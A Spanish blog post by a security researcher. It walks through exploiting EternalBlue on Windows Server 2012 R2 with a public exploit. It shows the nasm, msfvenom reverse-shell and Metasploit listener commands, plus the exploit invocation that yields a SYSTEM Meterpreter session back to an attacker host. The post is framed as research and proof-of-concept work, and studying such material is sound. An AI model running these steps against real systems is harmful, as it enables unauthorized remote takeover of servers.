martes, julio 04, 2017

Cómo explotar Eternalblue en Windows Server 2012 R2 por @UnaPibaGeek

Creo que, si hay algo en lo que todos estamos de acuerdo, es que la curiosidad es un factor clave en el camino de la seguridad informática. En mi caso, la curiosidad es tan grande que un día me veras hablando de hacking de automóviles, otro de hacking con drones, otro de malware por Cloud Services y es que, para mí, ¡todas las áreas de seguridad informática son apasionantes! Pero, aquellos que me conocen bien, saben que mi mayor debilidad pasa por el área de "exploit writing", posiblemente por la dificultad y el desafío que representa escribir exploits.

Figura 1: Cómo explotar EternalBlue en Windows Server 2012 R2

Fue entonces que, cuando el grupo TheShadowBrokers publicó el leak con exploits de la NSA, fui una de las primeras en meterme con todo en aquel fascinante arsenal de herramientas. Como parte de esa investigación, escribí un paper de la explotación de Eternablue en Windows 7 y Server 2008 R2, que se publicó tanto en inglés como en español en popular sitio exploit-db.

Figura 2: Lista de exploits para Windows publicados por TheShadowBrokers

Por supuesto que muchos especialistas, investigadores y apasionados del reversing pusieron bajo su lupa a Eternablue. Como resultado de ello, el security researcher Sleepya, publicó en su Github una versión de dicho exploit para Windows Server 2012 R2, objetivo originalmente no soportado. Pero la realidad es que incluso el propio autor de esa versión del exploit no publicó ninguna explicación ni demostración de que realmente funcionara, peor aún, la gente que comentaba haberlo probado decía que no le había funcionado.

Figura 3: Módulo asm del exploit publicado por sleepya

Fue entonces cuando decidí mirar dicho código, entenderlo y buscar la manera de tener un impacto exitoso.Para lograrlo, es necesario llevar adelante una serie de pasos y tener en cuenta algunas cosas que detallaré a continuación.

Paso 1: Ensamblar la Kernel Shellcode

Primero es necesario utilizar la kernel shellcode desarrollada por Sleepya.  Como se puede observar, es un .asm que debemos ensamblar y para ello utilizaremos NASM con el siguiente comando: nasm -f bin kernel_shell_x64.asm


Figura 4: Compilación de la kernel shellcode desarrolladad por sleepya

Paso 2: Generar la Userland Shellcode

Un payload de Metasploit generado con msfvenom será la userland shellcode que acompañará a la kernel shellcode ensamblada en el paso anterior. Los parámetros que utilizaremos en msfvenom serán los siguientes:
-p windows/x64/merterpreter/reverse_tcp
-f raw
-o meterpreter_msf.bin
EXITFUNC=thread
LHOST=[IP_ATACANTE]
LPORT=4444 (u otro puerto en la máquina atacante)
Figura 5: Generación de la Userland Shellcode con msfvenom

Paso 3: Unir Kernel Shellcode + Userland Shellcode

Para tener un impacto exitoso, debemos pasar ambas shellcodes como parámetro al exploit. Para ello, las uniremos en un mismo archivo en formato .bin haciendo un simple “append” de una shellcode con la otra.

Figura 6: Uniendo ambas shellcodes

Tras ejecutar el comando que vemos en la imagen superior, tendremos un nuevo archivo “meterpreter.bin” que contiene tanto la kernel shellcode ensamblada como la userland shellcode que generamos con msfvenom.

Paso 4: Configurar el listener de Metasploit

El paso previo al lanzamiento del exploit, es configurar el listener de Metasploit para que reciba la conexión inversa del meterperter una vez que el impacto sea exitoso. Para ello simplemente utilizaremos el módulo de exploit/multi/handler con el payload de meterpreter.

Figura 7: Configuración del listener de Metasploit

Paso 8: Lanzamiento del exploit

Utilizaremos el exploit de Sleepya publicado en su GitHub. Está desarrollado en Python, por lo tanto, lo guardaremos en la máquina atacante con extensión .py.

Figura 8: Merge_shellcode de Sleepya

Acto seguido, abriremos ese archivo .py con un editor de texto y nos dirigiremos a las líneas 42 y 43 donde debemos indicar la cuenta de usuario que el exploit utilizará para autenticación. La misma tendremos que haberla conseguido previamente o bien, podemos utilizar la cuenta de Guest si se encuentra activa en el sistema operativo objetivo.

Figura 9: Configuración de cuenta

Guardamos y procedemos a ejecutar el exploit con los siguientes parámetros:

python exploit.py ip_target meterpreter.bin 200

El parámetro con valor “200” corresponde al “numGroomConn”. El ajustar la cantidad de conexiones “Groom” ayuda a alcanzar un pool de memoria contigua en el kernel para que la sobreescritura del buffer termine en la ubicación que deseamos y lograr ejecutar la shellcode correctamente. 

Figura 10: Lanzamiento del exploit con 200 conexiones Groom

Para esta userland shellcode utilizaremos un número de conexiones Groom de 200. Si al impactar no recibimos la conexión inversa, podemos probar incrementando este número de a 50. Inmediatamente recibiremos la sesión de meterpreter en la terminal de Metasploit.
>

Figura 11: Conexión Meterpreter conseguida con éxito

Cabe destacar que nos encontramos en una sesión de SYSTEM, aunque hayamos utilizado para autenticarnos una cuenta Guest. En el siguiente vídeo tienes la ejecución de este exploit en acción.

Figura 12: PoC de Explotación de EternalBlue en Windows Server 2012 R2

Sin dudas Eternablue es un exploit que aún no deja de sorprender. Lo considero tan así, que le dedique otro paper más, donde se explica con mayor detalle el procedimiento que hemos realizado a lo largo de este post y que os dejo aquí.


El mismo ya fue publicado por exploit-db y puedes leerlo en inglés o en español:  :-). Espero que se hayan divertido tanto como yo! Gracias por leer!.

Autor: Sheila A. Berta (@UnaPibaGeek)

Security Researcher at ElevenPaths.

No hay comentarios:

Publicar un comentario